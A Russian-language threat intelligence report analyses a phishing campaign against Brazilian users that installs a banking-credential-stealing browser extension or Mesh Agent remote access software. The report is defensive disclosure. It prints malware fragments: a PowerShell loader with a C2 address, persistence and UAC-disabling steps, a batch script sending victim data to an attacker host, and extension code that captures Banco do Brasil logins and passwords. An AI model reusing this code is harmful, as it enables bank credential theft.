
В начале 2025 года специалисты группы киберразведки TI-департамента экспертного центра безопасности Positive Technologies обнаружили вредоносное письмо, в котором предлагалось скачать файл с подозрительного сайта. Выявленная цепочка атаки приводит к установке вредоносного расширения для браузера Google Chrome, нацеленного на пользователей из Бразилии.
В процессе исследования были обнаружены файлы, находящиеся в открытой директории злоумышленников, что позволило определить еще одну вариацию атаки с использованием Mesh Agent или PDQ Connect Agent вместо вредоносного расширения браузера. Там же располагались вспомогательные скрипты, содержащие в себе ссылки, в параметрах которых фигурировал идентификатор EnigmaCyberSecurity, — в честь него и была названа кампания.
Анализ цепочки атаки с расширением браузера

В первом варианте цепочки атаки для распространения вредоноса используются фишинговые письма под видом счета-фактуры. В таком письме предлагается скачать файл по предложенной ссылке или открыть вредоносное вложение в архиве.

На этом этапе может использоваться несколько форматов файлов, которые будут рассмотрены далее.
BAT-скрипт
Содержимое BAT-скрипта указано ниже; его основная задача — загрузка и запуск вредоносного PowerShell-скрипта.
Фрагмент запускаемого выше PowerShell-скрипта:
Add-Type -AssemblyName System.Windows.Forms
# Verifica se já está em execução, não deixa executar 2x.
$currentProcess = Get-Process -Id $PID
$runningProcesses = Get-Process -Name "powershell" -ErrorAction SilentlyContinue |
Where-Object {
$_.Id -ne $PID -and
$_.MainModule.FileName -eq $currentProcess.MainModule.FileName
}
if ($runningProcesses) {
# Exibe MessageBox em vez de Write-Host
[System.Windows.Forms.MessageBox]::Show(
"Já existe uma instância deste script em execução.",
"Script em Execução",
[System.Windows.Forms.MessageBoxButtons]::OK,
[System.Windows.Forms.MessageBoxIcon]::Warning
)
exit 1
}
# Função para não deixar executar o script em VM
function Test-RunningInVM {
# REDACTED
}
if (Test-RunningInVM) {
exit 1
}
#############################################################################
# Configuraçao do Script — Alterar se necessário
$serverIP = "142.54.185.178"
$serverPort = 5555
$textServerIP = "142.54.185.178"
$textServerPort = 5556
$computerName = $env:COMPUTERNAME
$nomeps1 = "cliente.ps1"
$nomebat = "cliente.bat"
$nomeextensao = "nplfchpahihleeejpjmodggckakhglee"
$linkexetensao = "nplfchpahihleeejpjmodggckakhglee;https://clients2.google.com/service/update2/crx"
$diretorioExtensoes = "$env:LOCALAPPDATA\Google\Chrome\User Data\Default\Extensions\$nomeextensao"
#############################################################################
# ...
Функциональность PowerShell-скрипта включает:
Проверку на наличие виртуализации.
Проверку наличия сервиса Warsaw Technology. Этот сервис, судя по описанию, разрабатывается компанией GAS Tecnologia наряду с плагином GBPlugin для защиты банковских транзакций в бразильских банках. Поэтому мы и предположили, что этот вариант атаки нацелен преимущественно на пользователей из Бразилии.
Закрепление BAT-скрипта путем создания значения реестра
HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\PWSecurity
. Сам скрипт перемещается в%APPDATA%
Отключение UAC путем установки значения реестра
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA
.Подключение к С2 142.54.185.178, получение и обработка команд
Основной блок кода скрипта в бесконечном цикле обрабатывает команды с сервера. MSI-файл (Windows Installer)
MSI-файл используется злоумышленниками для доставки и установки вредоносного расширения для трех браузеров: Microsoft Edge, Google Chrome и Brave. Цепочку выполнения внутри установщика можно найти на рисунке 5. В ней можно выделить два основных действия — viewer.exe и LaunchExeWithDirectory.

Сначала запускается unificado.bat следующей командой: /EnforcedRunAsAdmin /HideWindow "[#unificado.bat]". Сам unificado.bat выглядит следующим образом:
@echo off
chcp 65001 >nul
:: Captura Data/Hora
for /f "tokens=2 delims==" %%a in ('wmic os get localdatetime /value') do set DATETIME=%%a
set "DATA_HORA=%DATETIME:~0,4%-%DATETIME:~4,2%-%DATETIME:~6,2% %DATETIME:~8,2%:%DATETIME:~10,2%:%DATETIME:~12,2%"
:: Consulta API ipinfo.io diretamente via PowerShell (100% funcional)
for /f "delims=" %%a in ('powershell -command "(Invoke-RestMethod https://ipinfo.io/json).ip"') do set "IP_PUBLICO=%%a"
for /f "delims=" %%a in ('powershell -command "(Invoke-RestMethod https://ipinfo.io/json).hostname"') do set "HOST_INTERNET=%%a"
for /f "delims=" %%a in ('powershell -command "(Invoke-RestMethod https://ipinfo.io/json).city"') do set "CIDADE=%%a"
for /f "delims=" %%a in ('powershell -command "(Invoke-RestMethod https://ipinfo.io/json).region"') do set "UF=%%a"
for /f "delims=" %%a in ('powershell -command "(Invoke-RestMethod https://ipinfo.io/json).country"') do set "PAIS=%%a"
:: Define device padrão
set "DEVICE=Computador"
:: Verifica Warsaw rodando
sc query "Warsaw Technology" | find "RUNNING" >nul
if %errorlevel%==0 (
set "WARSAW_STATUS=Warsaw Existente"
set "STATUS=LIBERADO"
) else (
set "WARSAW_STATUS=Warsaw Inexistente"
set "STATUS=BLOQUEADO (Warsaw ausente)"
)
:: Envia ao contador (válido para ambas situações)
curl -G "https://enota.clientepj.com/sapinho/contador.php" ^
--data-urlencode "data=%DATA_HORA%" ^
--data-urlencode "ip=%IP_PUBLICO%" ^
--data-urlencode "host=%HOST_INTERNET%" ^
--data-urlencode "pais=%PAIS%" ^
--data-urlencode "uf=%UF%" ^
--data-urlencode "cidade=%CIDADE%" ^
--data-urlencode "device=Computador" ^
--data-urlencode "warsaw=%WARSAW_STATUS%" ^
--data-urlencode "status=%STATUS%" ^
--silent --output nul
:: Se Warsaw não existir, bloqueia a instalação automaticamente
if "%WARSAW_STATUS%"=="Warsaw Inexistente" (
echo O Warsaw nao esta rodando! Instalacao cancelada.
exit /b 1
)
exit /b 0
Скрипт собирает базовую информацию о системе жертвы и отправляет на управляющий сервер enota.clientepj.com следующие параметры:
дата и время;
публичный IP-адрес;
название узла;
местоположение;
информация о наличии сервиса Warsaw Technology;
статус, зависящий от наличия сервиса.
Как можно заметить, для дальнейшей работы необходимо наличие сервиса Warsaw Technology. Если сервис существует в системе жертвы, то скрипт завершается успешно и запускаются следующие действия.
Событие LaunchExeWithDirectory запускает обфусцированный JavaScript-код из файла event.js. Сам файл можно найти внутри установщика. Фрагмент JavaScript-кода после деобфускации приведен ниже.
// ...
function killBrowsers() {
var ajeya = new ActiveXObject("WScript.Shell");
var kalee = ["taskkill /F /IM chrome.exe", "taskkill /F /IM msedge.exe", "taskkill /F /IM brave.exe"];
for (var chadley = 0; chadley < kalee.length; chadley++) {
try {
ajeya.Run(kalee[chadley], 0, true);
} catch (kalika) {}
}
}
function getUserDirectories() {
var novareign = [];
if (fso.FolderExists("C:\\Users")) {
var jarran = fso.GetFolder("C:\\Users");
var carmenlita = new Enumerator(jarran.SubFolders);
for (; !carmenlita.atEnd(); carmenlita.moveNext()) {
novareign.push(carmenlita.item().Path);
}
} else {}
return novareign;
}
var userDirectories = getUserDirectories();
for (var i = 0; i < userDirectories.length; i++) {
var desktopPath = userDirectories[i] + "\\Desktop";
var desktopPath2 = userDirectories[i] + "\\OneDrive\\Área de trabalho";
var startMenuPath = userDirectories[i] + "\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs";
var quickLaunchPath = userDirectories[i] + "\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch";
processShortcuts(desktopPath);
processShortcuts(desktopPath2);
processShortcuts("C:\\programdata\\Microsoft\\Windows\\Start Menu\\Programs");
processShortcuts(startMenuPath);
processShortcuts(quickLaunchPath);
}
deletarArquivo("c:\\programdata\\event.js");
deletarArquivo("c:\\programdata\\aplicativo.msi");
function alterarStringNoArquivo(jaylynn, demetras) {
var semaya = new ActiveXObject("Scripting.FileSystemObject");
try {
var jacquette = semaya.OpenTextFile("C:\\programdata\\microsoft\\TIMEDATE\\cs.js", 1);
// ...
Отличия текущего варианта от BAT-скрипта из предыдущего раздела следующие:
Отсутствие необходимости устанавливать расширение из Chrome Web Store, так как оно уже находится рядом с .js-файлом.
Закрепление путем поиска и модификации LNK-файлов, указывающих на браузеры, в пользовательских папках. К ним добавляется параметр --load-extension=<extension-path>, где extension-path — путь до исходного кода расширения, который задается внутри скрипта. В данном случае — C:\programdata\microsoft\TIMEDATE\.
Анализ расширения
Расширение представляет из себя несколько .js-файлов и файл манифеста (рисунок 4). Основной код расположен в файле run-back.js, а cs.js внедряется в определенные страницы после их загрузки, что можно видеть в манифесте. По паттернам URL в манифесте и в коде скриптов видно, что они относятся к Banco do Brasil.

Для начала рассмотрим run-back.js, который после деобфускации выглядит следующим образом:
let e = '';
let t = '';
let a = '';
let o = '';
function r(_0x1fa244, _0x30450a) {
chrome.storage.sync.get("eindeutigeKennung", function (_0x5cc065) {
a = _0x5cc065.eindeutigeKennung;
var _0x5cc065 = "https://financial-executive.com/comando_temporario.php?eindeutigeKennung=" + a + "&k=" + _0x1fa244.identificacaoUsuario;
var _0x10f258 = {
'method': _0x30450a,
'headers': {
'Content-Type': "application/json"
},
'body': JSON.stringify(_0x1fa244)
};
fetch(_0x5cc065, _0x10f258);
});
}
// ...
В коде при установке расширения в хранилище помещается значение eindeutigeKennung (в переводе с немецкого — «уникальный идентификатор»), который вычисляется следующим образом (рис. 5).

Код содержит callback-функции, которые вызываются по событиям onBeforeSendHeaders, onBeforeRequest и onMessage. Для взаимодействия с управляющим сервером злоумышленники написали несколько вспомогательных функций. Функция r(requestBody, requestMethod), код которой можно найти выше, отправляет данные на сервер, помещая в один из параметров уникальный идентификатор eindeutigeKennung. Пример кода, который отправляет информацию с пользовательскими данными, — ниже.
chrome.webRequest.onBeforeRequest.addListener(function (request) {
let parsedUrl = new URL(request.url);
if ('POST' === request.method && parsedUrl.pathname.includes("/login")) {
let loginData = (b = request.requestBody) && b.raw ? JSON.parse(decodeURIComponent(String.fromCharCode.apply(null, new Uint8Array(b.raw[0].bytes)))) : {};
if (loginData && loginData.identificacaoUsuario) {
savedLoginData = JSON.stringify(loginData);
interval = setInterval(s, 2000);
}
} else {
if ('POST' === request.method && parsedUrl.pathname.includes("/armazenar-senha-conta")) {
let reqBodyObject = (b = request.requestBody) && b.raw ? JSON.parse(decodeURIComponent(String.fromCharCode.apply(null, new Uint8Array(b.raw[0].bytes)))) : {};
let reqHeadersObj;
if (reqBodyObject && reqBodyObject.senhaContaSelecaoInputV1) {
reqHeadersObj = request.requestHeaders;
r({
...JSON.parse(savedLoginData),
'senha8': reqBodyObject.senhaContaSelecaoInputV1.senhaContaSelecao,
'tokenHeaderDaten': reqHeadersObj
}, "PATCH");
}
}
}
}, {
'urls': ['<all_urls>']
}, ["requestBody"]);
Другая функция s() используется для получения и обработки команд с сервера злоумышленников. Она вызывается по событиям onBeforeRequest
и onMessage
. Пример вызова выглядит следующим образом.
chrome.runtime.onMessage.addListener((_message, _sender, _sendResponse) => {
var _messageData;
if ("login" === _message.type) {
savedLoginData = JSON.stringify(_message.data);
interval = setInterval(s, 2000);
} else if ("store-password" === _message.type) {
_messageData = _message.data;
_message = _message.headers;
r({
...JSON.parse(savedLoginData),
'senha8': _messageData.senhaContaSelecaoInputV1.senhaContaSelecao,
'tokenHeaderDaten': _message
}, 'PATCH');
}
});
Функция s() приведена ниже.
async function s() {
chrome.tabs.query({
'active': true,
'currentWindow': true
}, function (_activeTabs) {
if (_activeTabs[0] && _activeTabs[0].url.includes('apf-apj-')) {
q = JSON.parse(savedLoginData);
fetch("https://financial-executive.com/comando_temporario.php?eindeutigeKennung=" + a + "&k=" + q.identificacaoUsuario).then(_response => _response.json()).then(function (_responseObject) {
if (_responseObject.comando && o != _responseObject.comando) {
let _messageData = {};
if ("CODE_ZUM_LESEN" === _responseObject.comando) {
bildadresse = _responseObject.qr;
_messageData = {
'befehlstyp': "codeZumLesen",
'bildadresse': bildadresse
};
} else if ("WARTEN" === _responseObject.comando) {
_messageData = {
'befehlstyp': "warten"
};
} else if ("SCHLIEBEN_WARTEN" === _responseObject.comando) {
_messageData = {
'befehlstyp': "schliebenWarten"
};
}
chrome.tabs.sendMessage(_activeTabs[0].id, _messageData);
o = _responseObject.comando;
}
});
}
});
}
Данная функция взаимодействует с cs.js, содержимое которого указано ниже.

По коду cs.js и s() видно, что их разработка не завершена, но потенциальная функциональность понятна. Функция s(), если в ссылке активной вкладки есть подстрока apf-apj-, используемая в API Banco do Brasil, на сервер злоумышленников отправляется запрос по ссылке https://financial-executive.com/comando_temporario.php для получения новой команды. Список обрабатываемых команд приведен ниже.
Команда в s() | Команда в cs.js | Описание |
CODE_ZUM_LESEN | codeZumLesen | (В переводе с немецкого — «код для считывания».) Как только вызывается эта команда, создается событие codeZumLesen с параметром bildadresse, в который передается QR-код. Предположительно, должна показывать жертве вредоносный QR-код на странице банка |
WARTEN | warten | (Переведено с немецкого — «ждать».) Вызывается новое событие warten. Предположительно, должна имитировать экран загрузки |
SCHLIEBEN_WARTEN | schliebenWarten | (В переводе с немецкого — «прекратить ожидание».) Вызывается новое событие schliebenWarten. Предположительно, должна имитировать экран загрузки |
Таким образом, злоумышленник собирает конфиденциальную пользовательскую информацию, используемую при аутентификации в определенном сервисе (предположительно — Banco do Brasil). Интересной особенностью кода является используемый язык переменных: либо немецкий, либо португальский. Это может либо характеризовать местоположение злоумышленника, либо указывать на то, что код подобного стилера был написан не с нуля, а у кого-то заимствован.
Анализ цепочки атаки с Mesh Agent
Помимо атаки с использованием расширения для браузера, была обнаружена атака с использованием Mesh Agent в качестве вредоносного ПО.
Mesh Agent RAT (Remote Access Tools) — это программное обеспечение, которое запускается на удаленных устройствах и подключается к серверу MeshCentral для удаленного управления устройствами. Этот агент скомпилирован для Windows, многих различных дистрибутивов Linux, macOS и FreeBSD. Кроме того, он скомпилирован для множества различных процессоров x86-32, x86-64, ARM, MIPS.
(Источник: github.com/Ylianst/MeshAgent)

Техника распространения ВПО такая же — фишинговое письмо на тему счета-фактуры c MSI-файлом. После успешной установки агент запускается и связывается с сервером по ссылке wss://mesh.computadorpj.com/agent.ashx и https://mesh.computadorpj.com/. Помимо Mesh Agent, на серверах злоумышленников было обнаружено несколько образцов установщиков PDQ Connect Agent.
Вариант атаки с использованием RAT позволяет атакующим распространяться по зараженной инфраструктуре, в то время как вариант с вредоносным расширением затрагивает только одно пользовательское устройство. Одно из последствий атаки для компаний будет описано в разделе «Жертвы».

Анализ сетевой инфраструктуры и расширений
В ходе исследования было обнаружено несколько вредоносных доменов и серверов злоумышленников. Благодаря подробному изучению используемых TLS-сертификатов и других артефактов двух цепочек атак стало известно о нескольких сетевых индикаторах:
*.computadorpj.com
financial-executive.com
142.54.185.178
clientepj.com
ranchocentral.com
Домен computadorpj.com использует общий TLS-сертификат вместе с доменом — nfe-fiscal.com. Оба домена располагались на IP-адресе 107.174.231.26 автономной системы (AS-COLOCROSSING).
Другие поддомены частично располагались на IP-адресе 142.54.185.178, используемом в PowerShell-скрипте для отправки команд в систему жертвы.

Расширить инфраструктуру можно, если обратить внимание на метаданные вредоносных установщиков (рисунок 10). Поиск по открытым источникам, включая публичные песочницы, позволил добавить еще несколько исследуемых сетевых индикаторов, включая репозитории GitHub.

Новые сетевые индикаторы, полученные на основе ITW-ссылок обнаруженных семплов со схожими метаданными, выглядят следующим образом:
18.231.162.77
https://github.com/contaaws20251
hamrah-tejarat.com
servidor2025.com
atual2025.com
syarousi-search.com
В PowerShell-скриптах, устанавливающих расширение в системе жертвы, указывается идентификатор в магазине Chrome Web Store. Обнаруженные идентификаторы расширений:
nplfchpahihleeejpjmodggckakhglee
ckkjdiimhlanonhceggkfjlmjnenpmfm
lkpiodmpjdhhhkdhdbnncigggodgdfli
На данный момент расширения уже удалены из магазина как вредоносные, однако можно просмотреть историю изменений некоторых из созданных расширений.

Жертвы
Определить скомпрометированные организации и одну из целей их заражения удалось на основе данных в открытой директории злоумышленников. В файле https://enota.clientepj.com/uploads/resultados.txt были перечислены ссылки вида http://<victim-domain>/about.php?key=EnigmaCyberSecurity. На некоторых из ссылок до сих пор видна активность (рисунок 12, некоторые поля замазаны с целью приватности). Название самого нижнего текстового поля переводится как «Введите ниже адрес электронной почты жертвы»; в нем можно указывать сразу несколько электронных адресов. Исходный код этой страницы так же есть в открытой директории злоумышленников.

Серверы взломанных компаний нужны злоумышленникам для отправки писем, чтобы заразить пользователей из Бразилии вредоносным расширением.
Всего на основе подобных ссылок было обнаружено 70 уникальных компаний-жертв. Количество же скачиваний самого расширения в Chrome Web Store — 722. Однако некоторая часть из скачиваний — это работа песочниц. Общая география жертв всех атак выглядит следующим образом.

Выводы
Исследование показывает использование достаточно уникальных техник в регионе Латинской Америки — вредоносное расширение браузера, распространение через установщики Windows Installer и Inno Setup. Для универсальности своих атак и, следовательно, чтобы потенциальных жертв было больше, злоумышленники использовали две цепочки атаки: одна с использованием расширения, другая — с Mesh Agent или другими RAT.
Судя по файлам, расположенным в открытой директории атакующих, заражение компаний нужно для более незаметной рассылки писем от лица существующих компаний. Однако основной фокус атак остался на обычных пользователях Бразилии. Целью злоумышленников остается получение аутентификационных данных от банковских счетов жертв. Мы продолжим следить за данной вредоносной активностью и обязательно оповестим в случае возникновения новой массовой атаки.
Другие детали расследовании, в том числе индикаторы компрометации, вердикты продуктов и вредоносные техники злоумышленников из матрицы Mitre Att&ck можно посмотреть в полной версии исследования на сайте.

Климентий Галкин
Специалист группы киберразведки TI-департамента экспертного центра безопасности Positive Technologies